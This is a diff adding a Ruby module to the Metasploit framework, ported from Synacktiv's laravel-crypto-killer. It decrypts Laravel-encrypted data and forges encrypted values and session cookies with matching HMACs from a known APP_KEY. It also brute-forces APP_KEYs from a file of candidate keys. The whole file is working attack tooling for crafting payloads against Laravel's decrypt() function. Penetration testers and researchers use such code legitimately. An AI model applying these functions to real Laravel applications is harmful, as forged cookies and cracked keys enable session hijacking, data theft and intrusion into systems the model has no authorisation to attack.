|
| 1 | +# -*- coding: binary -*- |
| 2 | + |
| 3 | +require 'cgi' |
| 4 | + |
| 5 | +### |
| 6 | +# This mixin module provides methods to exploit bad implementations of decryption mechanisms in Laravel applications. |
| 7 | +# This tool was firstly designed to craft payloads targeting the Laravel `decrypt()` function from the package `Illuminate\Encryption`. |
| 8 | +# It can also be used to decrypt any data encrypted via `encrypt()` or `encryptString()`. |
| 9 | +# The tool requires a valid `APP_KEY` to be used, you can also try to bruteforce them if you think there is a potential key reuse |
| 10 | +# from a public project for example. |
| 11 | +# Original authors of the tool: `@_remsio_` `@Kainx42` from SynActiv. |
| 12 | +# Orignal python code can be found here: https://github.com/synacktiv/laravel-crypto-killer |
| 13 | +# Recoded in Ruby by h00die-gr3y (h00die.gr3y[at]gmail.com) |
| 14 | +### |
| 15 | +module Msf::Exploit::LaravelCryptoKiller |
| 16 | + # Check if cipher is valid |
| 17 | + # @param [String] <cipher_mode> The cipher_mode |
| 18 | + # |
| 19 | + # @return [Boolean] true if mode is ok or false if mode is not valid |
| 20 | + def valid_cipher?(cipher_mode) |
| 21 | + ciphers ||= OpenSSL::Cipher.ciphers |
| 22 | + ciphers.include?(cipher_mode.downcase) |
| 23 | + end |
| 24 | + |
| 25 | + # Perform AES encryption in CBC mode (compatible with Laravel) |
| 26 | + # @param [String] <value> The value that will be encrypted |
| 27 | + # @param [String] <iv> The IV parameter used for encryption |
| 28 | + # @param [String] <key> The key used for encryption |
| 29 | + # @param [String] <cipher_mode> Cipher_mode used for encryption (AES-256-CBC) |
| 30 | + # |
| 31 | + # @return [String] The encrypted value or nil if unsuccessful |
| 32 | + def aes_encrypt(value, iv, key, cipher_mode) |
| 33 | + # Check cipher mode |
| 34 | + unless valid_cipher?(cipher_mode) |
| 35 | + vprint_error("Cipher is not valid: #{cipher_mode}") |
| 36 | + return |
| 37 | + end |
| 38 | + # Create a new AES cipher in CBC mode |
| 39 | + cipher = OpenSSL::Cipher.new(cipher_mode) |
| 40 | + cipher.encrypt |
| 41 | + cipher.key = key |
| 42 | + cipher.iv = iv |
| 43 | + |
| 44 | + # Padding (similar to the pad lambda in Python) |
| 45 | + pad_length = 16 - (value.length % 16) |
| 46 | + padded_value = value + (pad_length.chr * pad_length) |
| 47 | + |
| 48 | + # Encrypt the data |
| 49 | + cipher.update(padded_value) |
| 50 | + rescue StandardError => e |
| 51 | + vprint_error("AES encryption failed: #{e.message}") |
| 52 | + end |
| 53 | + |
| 54 | + # Perform AES decryption in CBC mode (compatible with Laravel) |
| 55 | + # @param [String] <encrypted_value> Encrypted value that will be decrypted |
| 56 | + # @param [String] <iv> Random 16-byte IV parameter used for encryption |
| 57 | + # @param [String] <key> The key used for decryption |
| 58 | + # @param [String] <cipher_mode> Cipher_mode used for encryption (AES-256-CBC) |
| 59 | + # |
| 60 | + # @return [String] The decrypted value or nil if unsuccessful |
| 61 | + def aes_decrypt(encrypted_value, iv, key, cipher_mode) |
| 62 | + # Check cipher mode |
| 63 | + unless valid_cipher?(cipher_mode) |
| 64 | + vprint_error("Cipher is not valid: #{cipher_mode}") |
| 65 | + return |
| 66 | + end |
| 67 | + # Create AES cipher in CBC mode |
| 68 | + cipher = OpenSSL::Cipher.new(cipher_mode) |
| 69 | + cipher.decrypt |
| 70 | + cipher.key = key |
| 71 | + cipher.iv = iv |
| 72 | + |
| 73 | + # Decrypt the value |
| 74 | + cipher.update(encrypted_value) + cipher.final |
| 75 | + rescue OpenSSL::Cipher::CipherError => e |
| 76 | + vprint_error("AES decryption failed: #{e.message}") |
| 77 | + end |
| 78 | + |
| 79 | + # Encrypts a base64 string as a ciphered Laravel value |
| 80 | + # @param [String] <value> The base64-encode value that will be encrypted |
| 81 | + # @param [String] <key> The key used for decryption |
| 82 | + # @param [String] <cipher_mode> Cipher_mode used for encryption (AES-256-CBC) |
| 83 | + # |
| 84 | + # @return [String] The base64-encoded encrypted JSON. |
| 85 | + def laravel_encrypt(value_to_encrypt, key, cipher_mode) |
| 86 | + key = retrieve_key(key) |
| 87 | + iv = OpenSSL::Random.random_bytes(16) # Random 16-byte IV |
| 88 | + tmp_bytes = Base64.strict_encode64(aes_encrypt(Base64.strict_decode64(value_to_encrypt), iv, key, cipher_mode)) |
| 89 | + |
| 90 | + # Base64-encode the IV |
| 91 | + b64_iv = Base64.strict_encode64(iv).strip |
| 92 | + |
| 93 | + # Prepare data for output |
| 94 | + data = { |
| 95 | + 'iv' => b64_iv, |
| 96 | + 'value' => tmp_bytes.strip, |
| 97 | + 'mac' => generate_mac(key, b64_iv, tmp_bytes.strip), |
| 98 | + 'tag' => '' # Assuming empty tag |
| 99 | + } |
| 100 | + # Return the final encrypted value as Base64-encoded JSON |
| 101 | + Base64.strict_encode64(data.to_json) |
| 102 | + end |
| 103 | + |
| 104 | + # Encrypts a base64 string as a Laravel session cookie. |
| 105 | + # @param [String] <value_to_encrypt> The value that will be encrypted |
| 106 | + # @param [String] <hash_value> The decrypted value of the Laravel session cookie |
| 107 | + # @param [String] <key> The key used for decryption |
| 108 | + # @param [String] <cipher_mode> Cipher_mode used for encryption (AES-256-CBC) |
| 109 | + # |
| 110 | + # @return [String] The base64-encoded encrypted Laravel session_cookie value |
| 111 | + def laravel_encrypt_session_cookie(value_to_encrypt, hash_value, key, cipher_mode) |
| 112 | + decoded_value = Base64.strict_decode64(value_to_encrypt).force_encoding('utf-8') |
| 113 | + parsed_value = decoded_value.gsub('\\', '\\\\\\').gsub('"', '\\"').gsub(/\00/, '\\u0000') |
| 114 | + session_json_to_encrypt = "#{hash_value}|{\"data\":\"#{parsed_value}\",\"expires\":9999999999}" |
| 115 | + laravel_encrypt(Base64.strict_encode64(session_json_to_encrypt), key, cipher_mode) |
| 116 | + end |
| 117 | + |
| 118 | + # Parses Laravel cipher data |
| 119 | + # @param [String] <laravel_cipher> The base64-encoded Laravel cipher data |
| 120 | + # |
| 121 | + # @return [String] The laravel parsed cipher data in JSON format or nil if unsuccessful |
| 122 | + def parse_laravel_cipher(laravel_cipher) |
| 123 | + laravel_cipher = CGI.unescape(laravel_cipher) # Decoding URL encoded string |
| 124 | + begin |
| 125 | + data = JSON.parse(Base64.strict_decode64(laravel_cipher)) |
| 126 | + rescue JSON::ParserError |
| 127 | + vprint_error('The JSON inside your base64 is malformed') |
| 128 | + return |
| 129 | + rescue StandardError |
| 130 | + vprint_error('Your base64 laravel_cipher value is malformed') |
| 131 | + return |
| 132 | + end |
| 133 | + |
| 134 | + data['value'] = Base64.strict_decode64(data['value']) |
| 135 | + data['iv'] = Base64.strict_decode64(data['iv']) |
| 136 | + data |
| 137 | + end |
| 138 | + |
| 139 | + # Parse Laravel APP_KEY value |
| 140 | + # @param [String] <key> The Laravel APP_KEY |
| 141 | + # |
| 142 | + # @return [String] The Laravel parsed APP_KEY |
| 143 | + def retrieve_key(key) |
| 144 | + if key.start_with?('base64:') |
| 145 | + Base64.strict_decode64(key.split(':')[1]) |
| 146 | + elsif key.length == 44 |
| 147 | + Base64.strict_decode64(key) |
| 148 | + else |
| 149 | + key.encode('utf-8') |
| 150 | + end |
| 151 | + end |
| 152 | + |
| 153 | + # Decrypts a Laravel ciphered string |
| 154 | + # @param [String] <laravel_cipher> The Laravel cipher to be decrypted |
| 155 | + # @param [String] <key> The key used for decryption |
| 156 | + # @param [String] <cipher_mode> Cipher_mode used for encryption (AES-256-CBC) |
| 157 | + # |
| 158 | + # @return [String] The decrypted Laravel cipher or nil if unsuccessful |
| 159 | + def laravel_decrypt(laravel_cipher, key, cipher_mode) |
| 160 | + data = parse_laravel_cipher(laravel_cipher) |
| 161 | + key = retrieve_key(key) |
| 162 | + |
| 163 | + begin |
| 164 | + return aes_decrypt(data['value'], data['iv'], key, cipher_mode) |
| 165 | + rescue StandardError |
| 166 | + vprint_error('Your key is probably malformed or incorrect.') |
| 167 | + end |
| 168 | + end |
| 169 | + |
| 170 | + # Uses an opened file containing a key on each line to perform a brute-force attack on a given value |
| 171 | + # @param [String] <value> The encrypted Laravel value |
| 172 | + # @param [String] <key_file> The file with Laravel APP_KEYs per line used for brute-force decryption |
| 173 | + # @param [String] <key> The key used for decryption |
| 174 | + # @param [String] <cipher_mode> Cipher_mode used for encryption (AES-256-CBC) |
| 175 | + # |
| 176 | + # @return [String] The valid key if it was identified with the value: {"key":<key>, "value":<value>} |
| 177 | + def laravel_bruteforce_from_file(value, key_file, cipher_mode) |
| 178 | + if !File.file?(key_file) |
| 179 | + return nil |
| 180 | + end |
| 181 | + |
| 182 | + File.foreach(key_file) do |line| |
| 183 | + key = line.strip |
| 184 | + decrypted_value = laravel_decrypt(value, key, cipher_mode).force_encoding('utf-8') |
| 185 | + if decrypted_value |
| 186 | + return { 'key' => key, 'value' => decrypted_value } |
| 187 | + end |
| 188 | + rescue StandardError |
| 189 | + next |
| 190 | + end |
| 191 | + |
| 192 | + nil |
| 193 | + end |
| 194 | + |
| 195 | + # Generate HMAC with SHA256 |
| 196 | + # @param [String] <value> The value that will be encrypted |
| 197 | + # @param [String] <iv> Random 16-byte IV parameter |
| 198 | + # @param [String] <key> The key |
| 199 | + # |
| 200 | + # @return [String] The hmac digest. |
| 201 | + def generate_mac(key, iv, value) |
| 202 | + return OpenSSL::HMAC.hexdigest('SHA256', key, "#{iv}#{value}") |
| 203 | + end |
| 204 | +end |
0 commit comments